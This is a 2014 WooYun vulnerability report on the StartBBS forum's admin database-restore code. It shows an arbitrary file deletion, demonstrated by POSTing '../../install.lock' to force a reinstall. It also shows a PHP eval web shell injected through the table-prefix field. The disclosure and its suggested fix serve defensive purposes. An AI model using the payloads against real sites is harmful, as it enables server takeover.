当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-060364

漏洞标题：开源轻论坛StartBBS后台任意文件删除+getshell（需要管理员权限）

相关厂商：startbbs.com

漏洞作者： phith0n

提交时间：2014-05-12 11:44

修复时间：2014-08-07 11:46

公开时间：2014-08-07 11:46

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-12： 细节已通知厂商并且等待厂商处理中
2014-05-17： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-07-11： 细节向核心白帽子及相关领域专家公开
2014-07-21： 细节向普通白帽子公开
2014-07-31： 细节向实习白帽子公开
2014-08-07： 细节向公众公开

简要描述：

找了好半天，感觉没太好的后台getshell的方法。
分析我以前交的一个前台getshell漏洞（http://wooyun.org/bugs/wooyun-2013-045143），就是通过重装来getshell的（最新版本v1.1.5任意重装的洞已经修了，但重装的位置依旧可以getshell），那么如果有一个任意文件删除洞的话，岂不就能删除.lock文件，来重新安装了呢？来getshell了呢？
我之前也一直用CI做开发，常参考startbbs的源码，在这里说声谢谢~

详细说明：

后台代码app/controllers/admin/db_admin.php 75行

public function restore($sqlfile='')
{
	$data['title'] = '数据库还原';
	$data['act']=$this->uri->segment(3);
	$data['sqlfiles'] = get_dir_file_info(FCPATH.'data/backup', $top_level_only = TRUE);
	if($_POST){
		$sqlfiles=array_slice($this->input->post(), 0, -1);
		//echo var_export($sqlfiles);
		foreach($sqlfiles as $k=>$v){
			unlink(FCPATH.'data/backup/'.$v);
		}
		$this->session->set_flashdata('error', '删除sql文件成功!');
		redirect('admin/db_admin/restore');
	}
	if($sqlfile){
		$sql  = file_get_contents(FCPATH.'data/backup/'.$sqlfile);
		if($this->run_sql($sql)){
			$this->session->set_flashdata('error', '还原sql文件成功!');
			redirect('admin/db_admin/restore');
		}
	}
	$this->load->view('db_admin', $data);
}


这是一个进行数据库还原操作的函数，其中可以对已经备份好的数据库文件进行删除。但是没有验证文件名，导致可以任意文件删除。
代码直接取POST数组（最后一个变量除外，不知为什么），用foreach遍历之，然后删除所有$_POST数组中的值。
详见漏洞证明。

漏洞证明：

登录后台，直接向index.php/admin/db_admin/restore/这个地址POST数据a=../../install.lock&b=x，想删除多少文件都行（加POST数组内容即可，键名随意，键值是你要删除的文件位置），但我只删除安装锁,.lock文件。

009.jpg


如上图，提示删除成功了。来到前台首页，发现跳转到安装页面了：

010.jpg


顺理成章，重装系统。找一个可以外连的数据库，填好信息，然后在表前缀的位置填入一句话:

sb_';phpinfo();@eval ($_POST[101]);$xxx='


011.jpg


安装好以后，访问首页就能看到phpinfo了。菜刀直接连index.php，连数据库配置文件是不行的。

012.jpg


查看数据库配置文件，发现马已经安静地躺在那里了：

013.jpg

修复方案：

检查文件名中是否有../等敏感字符，避免任意文件删除。

版权声明：转载请注明来源 phith0n@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-08-07 11:46

厂商回复：

最新状态：

暂无